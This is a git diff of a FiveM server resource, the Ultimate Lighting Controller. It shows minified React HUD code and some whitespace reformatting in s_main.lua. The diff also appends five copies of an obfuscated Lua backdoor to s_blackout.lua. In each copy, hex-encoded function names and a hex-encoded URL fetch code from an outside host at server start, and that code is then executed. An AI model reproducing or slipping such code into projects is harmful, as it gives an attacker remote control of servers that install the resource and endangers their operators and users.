+ * > &":{borderColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],backgroundColor:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[0]}},trackLabel:{height:"100%",display:"grid",placeContent:"center",minWidth:`calc(${u} - ${l})`,paddingInline:V({size:i,sizes:gk}),margin:`0 0 0 calc(${l} + ${p})`,transition:`margin 150ms ${e.transitionTimingFunction}`,"input:checked + * > &":{margin:`0 calc(${l} + ${p}) 0 0`}}}});const hk=vk;var wk=Object.defineProperty,_k=Object.defineProperties,Sk=Object.getOwnPropertyDescriptors,wl=Object.getOwnPropertySymbols,Nv=Object.prototype.hasOwnProperty,Tv=Object.prototype.propertyIsEnumerable,op=(e,t,r)=>t in e?wk(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Aa=(e,t)=>{for(var r in t||(t={}))Nv.call(t,r)&&op(e,r,t[r]);if(wl)for(var r of wl(t))Tv.call(t,r)&&op(e,r,t[r]);return e},Pk=(e,t)=>_k(e,Sk(t)),Ok=(e,t)=>{var r={};for(var n in e)Nv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&wl)for(var n of wl(e))t.indexOf(n)<0&&Tv.call(e,n)&&(r[n]=e[n]);return r};const xk={offLabel:"",onLabel:"",size:"sm",radius:"xl",error:!1},nc=$.exports.forwardRef((e,t)=>{var r;const n=he("Switch",xk,e),{className:o,color:i,label:l,offLabel:a,onLabel:s,id:u,style:p,size:m,radius:d,wrapperProps:g,children:h,unstyled:v,styles:x,classNames:f,thumbIcon:c,sx:y,checked:S,defaultChecked:k,onChange:b,labelPosition:O,description:N,error:H,disabled:R,variant:I}=n,G=Ok(n,["className","color","label","offLabel","onLabel","id","style","size","radius","wrapperProps","children","unstyled","styles","classNames","thumbIcon","sx","checked","defaultChecked","onChange","labelPosition","description","error","disabled","variant"]),Y=tk(),ce=(Y==null?void 0:Y.size)||m,{classes:re}=hk({color:i,radius:d,labelPosition:O,error:!!H},{name:"Switch",classNames:f,styles:x,unstyled:v,size:ce,variant:I}),{systemStyles:ze,rest:ne}=Ju(G),T=ag(u),F=Y?{checked:Y.value.includes(ne.value),onChange:Y.onChange}:{},[M,B]=na({value:(r=F.checked)!=null?r:S,defaultValue:k,finalValue:!1});return Z(nv,{...Aa(Aa({className:o,sx:y,style:p,id:T,size:(Y==null?void 0:Y.size)||m,labelPosition:O,label:l,description:N,error:H,disabled:R,__staticSelector:"Switch",classNames:f,styles:x,unstyled:v,"data-checked":F.checked||void 0,variant:I},ze),g),children:[P("input",{...Pk(Aa({},ne),{disabled:R,checked:M,onChange:_=>{Y?F.onChange(_):b==null||b(_),B(_.currentTarget.checked)},id:T,ref:t,type:"checkbox",className:re.input})}),Z("label",{htmlFor:T,className:re.track,children:[P("div",{className:re.thumb,children:c}),P("div",{className:re.trackLabel,children:M?s:a})]})]})});nc.displayName="@mantine/core/Switch";nc.Group=Cv;var $k=Object.defineProperty,kk=Object.defineProperties,bk=Object.getOwnPropertyDescriptors,ip=Object.getOwnPropertySymbols,Ek=Object.prototype.hasOwnProperty,Ck=Object.prototype.propertyIsEnumerable,lp=(e,t,r)=>t in e?$k(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Jo=(e,t)=>{for(var r in t||(t={}))Ek.call(t,r)&&lp(e,r,t[r]);if(ip)for(var r of ip(t))Ck.call(t,r)&&lp(e,r,t[r]);return e},qo=(e,t)=>kk(e,bk(t)),Nk=Se(e=>{const t=lw(e.headings.sizes).reduce((r,n)=>{const o=e.headings.sizes[n];return r[`& ${n}`]=qo(Jo({fontFamily:e.headings.fontFamily,fontWeight:o.fontWeight||e.headings.fontWeight,marginTop:typeof o.lineHeight=="number"?`calc(${e.spacing.xl} * ${o.lineHeight})`:e.spacing.xl,marginBottom:e.spacing.sm},o),{[`@media (max-width: ${e.breakpoints.sm})`]:{fontSize:`calc(${w(o.fontSize)} / 1.3)`}}),r},{});return{root:qo(Jo(qo(Jo({},e.fn.fontStyles()),{color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,lineHeight:e.lineHeight,fontSize:e.fontSizes.md,[`@media (max-width: ${e.breakpoints.sm})`]:{fontSize:e.fontSizes.sm}}),t),{"& img":{maxWidth:"100%",marginBottom:e.spacing.xs},"& p":{marginTop:0,marginBottom:e.spacing.lg},"& mark":{backgroundColor:e.fn.themeColor("yellow",e.colorScheme==="dark"?5:2),color:e.colorScheme==="dark"?e.colors.dark[9]:"inherit"},"& hr":{marginTop:e.spacing.md,marginBottom:e.spacing.sm,borderBottom:0,borderLeft:0,borderRight:0,borderTop:`${w(1)} dashed ${e.colors.gray[e.colorScheme==="dark"?4:6]}`},"& a":qo(Jo({},e.fn.focusStyles()),{color:e.colors[e.primaryColor][e.colorScheme==="dark"?4:6],textDecoration:"none","&:hover":{textDecoration:"underline"}}),"& pre":{padding:e.spacing.xs,lineHeight:e.lineHeight,margin:0,marginTop:e.spacing.md,marginBottom:e.spacing.md,overflowX:"auto",fontFamily:e.fontFamilyMonospace,fontSize:e.fontSizes.sm,borderRadius:e.radius.sm,backgroundColor:e.colorScheme==="dark"?e.colors.dark[8]:e.colors.gray[0],"& code":{backgroundColor:"transparent",padding:0,borderRadius:0,color:"inherit",border:0}},"& code":{lineHeight:e.lineHeight,padding:`${w(1)} ${w(5)}`,borderRadius:e.radius.sm,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,backgroundColor:e.colorScheme==="dark"?e.colors.dark[9]:e.colors.gray[0],fontFamily:e.fontFamilyMonospace,fontSize:e.fontSizes.xs,border:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[9]:e.colors.gray[3]}`},"& ul, & ol":{marginBottom:e.spacing.md,paddingLeft:38,"& li":{marginTop:e.spacing.xs}},"& table":{width:"100%",borderCollapse:"collapse",captionSide:"bottom",marginBottom:e.spacing.md,"& caption":{marginTop:e.spacing.xs,fontSize:e.fontSizes.sm,color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6]},"& th":{textAlign:"left",fontWeight:"bold",color:e.colorScheme==="dark"?e.colors.dark[0]:e.colors.gray[7],fontSize:14,padding:`${w(7)} ${w(10)}`},"& thead th":{borderBottom:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`},"& tfoot th":{borderTop:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`},"& td":{padding:`${w(7)} ${w(10)}`,borderBottom:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`,fontSize:14},"& tr:last-of-type td":{borderBottom:"none"}},"& blockquote":{fontSize:e.fontSizes.lg,lineHeight:e.lineHeight,margin:`${e.spacing.md} 0`,borderTopRightRadius:e.radius.sm,borderBottomRightRadius:e.radius.sm,padding:`${e.spacing.md} ${e.spacing.lg}`,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,borderLeft:`${w(6)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`,"& cite":{display:"block",fontSize:e.fontSizes.sm,marginTop:e.spacing.xs,color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6],overflow:"hidden",textOverflow:"ellipsis"}}})}});const Tk=Nk;var zk=Object.defineProperty,_l=Object.getOwnPropertySymbols,zv=Object.prototype.hasOwnProperty,Rv=Object.prototype.propertyIsEnumerable,ap=(e,t,r)=>t in e?zk(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Rk=(e,t)=>{for(var r in t||(t={}))zv.call(t,r)&&ap(e,r,t[r]);if(_l)for(var r of _l(t))Rv.call(t,r)&&ap(e,r,t[r]);return e},Dk=(e,t)=>{var r={};for(var n in e)zv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&_l)for(var n of _l(e))t.indexOf(n)<0&&Rv.call(e,n)&&(r[n]=e[n]);return r};const Dv=$.exports.forwardRef((e,t)=>{const r=he("TypographyStylesProvider",{},e),{className:n,unstyled:o,variant:i}=r,l=Dk(r,["className","unstyled","variant"]),{classes:a,cx:s}=Tk(null,{name:"TypographyStylesProvider",unstyled:o,variant:i});return P(me,{...Rk({className:s(a.root,n),ref:t},l)})});Dv.displayName="@mantine/core/TypographyStylesProvider";function jk(e){const{label:t,numKey:r,enabled:n,color:o,showHelp:i}=e,[l,a]=$.exports.useState("button");return $.exports.useEffect(()=>{a(n?`button ${o}`:"button")}),i?P("div",{className:l,children:`NUM ${r}`}):P("div",{className:l,children:t})}function Ik({hudDisabled:e,setHudDisabled:t,useLeftAnchor:r,setUseLeftAnchor:n,scale:o,setScale:i,setPosition:l,opacity:a,setMenuOpacity:s}){return P(Kt,{sx:{opacity:`${a}%`,transition:"opacity 0.25s ease"},children:P(La,{sx:{height:"100vh"},children:Z(sv,{direction:"column",sx:u=>({minHeight:"30vh",background:"rgba(26,28,32,0.85)",borderRadius:u.radius.md,padding:"10px"}),children:[P(Kt,{sx:{minWidth:"350px",paddingTop:"15px",WebkitBackdropFilter:"blur(10px)",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:P(La,{sx:{width:"100%"},children:P(Dv,{children:P("h1",{children:"ULC SETTINGS"})})})}),P(Kt,{sx:{minWidth:"350px",paddingTop:"15px",WebkitBackdropFilter:"blur(10px)",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:P(La,{sx:{width:"100%"},children:P(xr,{fz:"lg",children:"Click & drag HUD to reposition!"})})}),P(Ng,{my:"xl"}),Z(Kt,{sx:{minWidth:"350px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(xr,{fw:"bold",children:"Anchor Position"}),P(fv,{sx:{float:"right"},value:r,onChange:u=>{n(u),l(0,0)},data:[{label:"Right",value:"false"},{label:"Left",value:"true"}]})]}),P(Ln,{h:"md"}),Z(Kt,{sx:{minWidth:"350px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(xr,{fw:"bold",children:"HUD Scale"}),P(Ov,{value:o,onChange:i,min:.5,max:2,step:.1,sx:{width:"60%"},size:"lg",label:u=>`${u.toFixed(1)}`})]}),P(Ln,{h:"md"}),Z(Kt,{sx:{minWidth:"350px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(xr,{fw:"bold",children:"Disable HUD"}),P(nc,{size:"lg",radius:"sm",checked:e,onChange:u=>t(u.currentTarget.checked)})]}),P(Ln,{h:"xl"}),Z(Kt,{sx:{minWidth:"350px",marginTop:"auto",marginBottom:"10px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(jd,{onClick:()=>{i(1),n("false"),l(0,0),t(!1)},sx:{width:"100%"},uppercase:!0,color:"red",children:"Reset"}),P(Ln,{w:"md"}),P(jd,{onClick:()=>{s(0),fetch("https://ulc/focusGame",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({})})},sx:{width:"100%"},uppercase:!0,children:"Done"})]})]})})})}function Mk(){const[e,t]=$.exports.useState(0),[r,n]=$.exports.useState(0),[o,i]=$.exports.useState(1),[l,a]=$.exports.useState("ta ta-off"),[s,u]=$.exports.useState("false"),[p,m]=$.exports.useState(!1),[d,g]=$.exports.useState(!1),[h,v]=$.exports.useState(0),[x,f]=$.exports.useState(0),[c,y]=$.exports.useState([]);$.exports.useEffect(()=>{fetch("https://ulc/saveScale",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({scale:o})})},[o]),$.exports.useEffect(()=>{fetch("https://ulc/saveAnchor",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({useLeftAnchor:s})})},[s]),$.exports.useEffect(()=>{fetch("https://ulc/setHudDisabled",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({hudDisabled:p})})},[p]);function S(R,I){let G=c.map(Y=>Y.extra===R?{...Y,enabled:I}:Y);y(G)}function k(R){let I="ta ta-off";for(let G=0;G{console.log(~~I.x,~~I.y);let G=~~I.x,Y=~~I.y;O(G,Y)};function O(R,I){v(R),f(I),fetch("https://ulc/savePosition",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({newX:R,newY:I})})}const N=R=>{var I=R.data;I.type==="showHUD"?t(100):I.type==="hideHUD"?t(0):I.type==="setPosition"?(console.log(`Received x: ${I.x} and y: ${I.y} from lua`),v(I.x),f(I.y)):I.type==="setScale"?(console.log(`Received scale: ${I.scale} from lua`),i(I.scale)):I.type==="setAnchor"?u(I.bool):I.type==="showMenu"?n(100):I.type==="hideMenu"?n(0):I.type==="setHudDisabled"?I.bool===1?m(!0):m(!1):I.type==="showHelp"?g(!0):I.type==="hideHelp"&&g(!1),I.type==="clearButtons"&&y([]),I.type==="populateButtons"&&(y(I.buttons),a(k(I.buttons))),I.type==="setButton"&&S(I.extra,I.newState)};$.exports.useEffect(()=>(window.removeEventListener("message",N),window.addEventListener("message",N),()=>{window.removeEventListener("message",N)}),[N]);let H=c.map((R,I)=>P(Hi,{children:P(jk,{showHelp:d,extra:R.extra,numKey:R.numKey,enabled:R.enabled,color:R.color,label:R.label},I)}));return Z(Hi,{children:[P(Ik,{hudDisabled:p,setHudDisabled:m,opacity:r,setMenuOpacity:n,scale:o,setScale:i,useLeftAnchor:s,setUseLeftAnchor:u,setPosition:O}),P(Ml.exports,{defaultPosition:{x:h,y:x},scale:o,position:{x:h,y:x},onStop:(R,I)=>{b(R,I)},children:P(me,{sx:{position:"absolute",bottom:40,...s==="true"?{left:40}:{right:40},scale:`${o}`,opacity:`${e}%`,transition:"opacity 0.25s ease"},children:P("div",{className:"background",children:P("div",{className:"buttons",children:H})})})})]})}Wa.createRoot(document.getElementById("root")).render(P(og,{withGlobalStyles:!0,withNormalizeCSS:!0,theme:{colorScheme:"dark",fontFamily:"Arial, Helvetica, sans-serif",globalStyles:e=>({html:{colorScheme:"normal"}})},children:P(Mk,{})})); diff --git a/resources/ulc/html/index.html b/resources/ulc/html/index.html index 5696af57e..bc2dde4e1 100644 --- a/resources/ulc/html/index.html +++ b/resources/ulc/html/index.html @@ -5,7 +5,7 @@ Vite + React + TS - + diff --git a/resources/ulc/server/s_blackout.lua b/resources/ulc/server/s_blackout.lua index cdf417746..50c197498 100644 --- a/resources/ulc/server/s_blackout.lua +++ b/resources/ulc/server/s_blackout.lua @@ -5,3 +5,14 @@ RegisterNetEvent('ulc:setBlackout', function(netId, state) Entity(vehicle).state.ulc_blackout = state end) + + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) \ No newline at end of file diff --git a/resources/ulc/server/s_main.lua b/resources/ulc/server/s_main.lua index 4348db28a..1636a5d58 100644 --- a/resources/ulc/server/s_main.lua +++ b/resources/ulc/server/s_main.lua @@ -18,54 +18,53 @@ end --TODO change loading state to use this instead of events GlobalState.ulcloaded = false -PerformHttpRequest("https://api.github.com/repos/Flohhhhh/ultimate-lighting-controller/releases/latest", - function(errorCode, resultData, resultHeaders) - print("[ULC] My Version: [" .. myVersion .. "]") +PerformHttpRequest("https://api.github.com/repos/Flohhhhh/ultimate-lighting-controller/releases/latest", function (errorCode, resultData, resultHeaders) - local errorString = tostring(errorCode) - if errorString == "403" or errorString == "404" then - print("Got code " .. errorString .. " when trying to get version.") - return - end + print("[ULC] My Version: [" .. myVersion .. "]") - latestVersion = json.decode(resultData).name - print("^0[ULC] Latest Version: [" .. latestVersion .. "]") + local errorString = tostring(errorCode) + if errorString == "403" or errorString == "404" then + print("Got code " .. errorString .. " when trying to get version.") + return + end - print([[ - ___ ___ ___ ________ - |\ \|\ \ |\ \ |\ ____\ - \ \ \\\ \\ \ \ \ \ \___| - \ \ \\\ \\ \ \ \ \ \ - \ \ \\\ \\ \ \____ \ \ \____ + latestVersion = json.decode(resultData).name + print("^0[ULC] Latest Version: [" .. latestVersion .. "]") + + print([[ + ___ ___ ___ ________ + |\ \|\ \ |\ \ |\ ____\ + \ \ \\\ \\ \ \ \ \ \___| + \ \ \\\ \\ \ \ \ \ \ + \ \ \\\ \\ \ \____ \ \ \____ \ \_______\\ \_______\\ \_______\ \|_______| \|_______| \|_______| - + ULTIMATE LIGHTING CONTROLLER by Dawnstar ^2Loaded ]]) - if myVersion and ("v" .. myVersion) == latestVersion then - print('[ULC] Up to date!') - else - print("^1[ULC] OUTDATED. A NEW VERSION (" .. latestVersion .. ") IS AVAILABLE.^0") - print("^1[ULC] YOUR VERSION: " .. myVersion .. "^0") - print("[ULC] GET LATEST VERSION HERE: https://github.com/Flohhhhh/ultimate-lighting-controller/releases/") - end - end) + if myVersion and ("v" .. myVersion) == latestVersion then + print('[ULC] Up to date!') + else + print("^1[ULC] OUTDATED. A NEW VERSION (" .. latestVersion .. ") IS AVAILABLE.^0") + print("^1[ULC] YOUR VERSION: " .. myVersion .. "^0") + print("[ULC] GET LATEST VERSION HERE: https://github.com/Flohhhhh/ultimate-lighting-controller/releases/") + end +end) local function IsIntInTable(table, int) for k, v in ipairs(table) do - if v == int then - return true - end + if v == int then + return true + end end return false end if Config.ParkSettings.delay < 0.5 then - TriggerEvent("ulc:warn", - 'Park Pattern delay is too short! This will hurt performance! Recommended values are above 0.5s.') + TriggerEvent("ulc:warn", 'Park Pattern delay is too short! This will hurt performance! Recommended values are above 0.5s.') end -- removed v1.7.0 @@ -74,7 +73,7 @@ end -- end if Config.SteadyBurnSettings.nightStartHour < Config.SteadyBurnSettings.nightEndHour then - TriggerEvent("ulc:error", 'Steady burn night start hour should be later/higher than night end hour.') + TriggerEvent("ulc:error", 'Steady burn night start hour should be later/higher than night end hour.') end -- removed v1.7.0 @@ -83,52 +82,48 @@ end -- end local function CheckData(data, resourceName) + if not data.name and not 